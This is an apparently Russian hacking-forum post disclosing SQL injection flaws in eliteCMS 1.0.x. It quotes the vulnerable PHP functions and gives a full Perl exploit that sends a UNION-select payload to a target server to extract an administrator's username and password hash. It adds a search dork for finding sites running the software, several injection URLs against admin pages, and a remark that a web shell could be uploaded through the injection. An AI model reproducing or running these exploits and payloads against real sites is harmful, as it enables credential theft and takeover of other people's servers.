Уязвимости eliteCMS
Вложений: 1
eliteCMS
SQL-inj
Vulnerability code:
PHP код:
function get_page_settings()
{
global $page_settings;
$query = "SELECT * FROM pages WHERE id = '{$_GET['page']}'";
$result = mysql_query($query);
confirm_query($result);
$page_settings = mysql_fetch_array($result);
return $page_settings;
}
Ну и вообщем первый мой сплойт: :)
Код:
#!/usr/bin/perl
system('cls');
#*****************************************************************************
#*****************************************************************************
#** Written by Dimi4, **
#** Greetings to antichat && elwaux **
#** dork:""Powored by Elite CMS" **
#** version:1.0.x **
#** magic_qotes_gpc=OFF **
#** **
#*****************************************************************************
# ****************************************************************************
use IO::Socket;
print "\n +-------------------------------------------------------------+\n";
print " | eliteCMS 1.0.x Sql-Injection Exploit |\n";
print " | By Dimi4 |\n";
print " +-------------------------------------------------------------+\n\n";
if (@ARGV < 3)
{
print " [i] usage:\r\n";
print " eliteCMS.pl Server Dir Username\r\n\r\n";
print " SERVER - Server where eliteCMS was installed.\r\n";
print " DIR - eliteCMS directory or / for parent.\r\n";
print " Username - Targer username(default - admin).\r\n";
print "\n [i] Example:\r\n";
print " eliteCMS.pl 192.168.168.1 / admin2\n";
<stdin>;
exit();
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$username = $ARGV[2];
$serv =~ s/http:\/\///ge;
$delimit = "0x336c317433636d353378706c303174";
$sploit = 'http://'.$serv.'/'.
'index.php?page=1\'+union+select+1,concat'.
'(user_name,\''.$delimit.'\',h_password)'.
',3,4,5,6,7,8,9,10,11+from+users+where+user_name=\''.$username.'\'+'.
'limit+1,1%23';
$sock = IO::Socket::INET->new(
Proto=>"tcp",
PeerAddr=>"$serv",
PeerPort=>"80") or die " [-] could not connect to host.\n";
print " [+] connecting OK\n";
print " [+] sending exploit..\n";
print $sock "GET $sploit HTTP/1.1\n";
print $sock "Host: $serv\n\n";
read($sock,my $answer,1000);
$success = 0;
print " [+] In progress...\n";
if ($answer=~ /$delimit/) {
$answer =~ /$username$delimit(.*)::-::<\/title>/;
print " [+] Exploit succeeded...\n";
print ' [+] Targer: '.$serv."\n";
print ' [+] Username: '.$username."\n";
print ' [+] Password: '.$1."\n";
exit();
} else
{ print " [-] FAILED!\n"; exit(); }
close($sock);
<stdin>;
exit();
Спасибо elwaux за помощь в перел)
Всё те же иньекции:
Код:
http://127.0.0.1/eliteCMS/index.php?page=1'+union+select+1,concat(user_name,0x20336c317433636d353378706c30317420,h_password),3,4,5,6,7,8,9,10,11+from+users+limit+1,1/*
Админка:
На первой страницы виден полный путь. Если хватит прав можно залить шелл через скулю.
Скули в админке:
Код:
http://127.0.0.1/eliteCMS/admin/edit_page.php?page=3+union+select+1,2,3,4,5,6,7,8,9,10,11/*
SQL-inj
Vulnerability code:
PHP код:
function get_page($page_id)
{
$query = "SELECT * FROM ";
$query .= "posts ";
$query .= "WHERE page_id =" . $page_id . " ";
$query .= "AND active = 1 ";
$query .= " ORDER BY position";
$result = mysql_query($query);
$check = mysql_num_rows($result);
confirm_query($result);
if ($check != 0) {
while ($page = mysql_fetch_array($result)) {
echo "<h1>" . $page['title'] . "</h1>\n";
echo "<p>" . $page['content'] . "</p>\n";
}
URL:
Код:
http://127.0.0.1/eliteCMS/admin/edit_post.php?page=1&post=1+union+select+1,2,3,4,user(),version()/*
SQL-inj
Vulnerability code:
PHP код:
function get_sidebar($page_id)
{
$query = "SELECT * FROM ";
$query .= "sidebar ";
$query .= "WHERE page_id =" . $page_id . " ";
//$query .= "AND active = 1 ";
$query .= " ORDER BY position";
$result = mysql_query($query);
confirm_query($result);
while ($sidebar = mysql_fetch_array($result)) {
echo "<h2>" . $sidebar['title'] . "</h2>";
echo "<p>" . $sidebar['content'] . "</p>";
echo "<p></p>";
}
}
URL:
Код:
http://127.0.0.1/eliteCMS/admin/dit_sidebar.php?page=1&sidebar=2+union+select+1,2,3,user(),version()/*
Форум пробелы в експлойт подобавлял :(
Рабочий в атаче
Такс.. Иду спать.. потом допишу :)
|
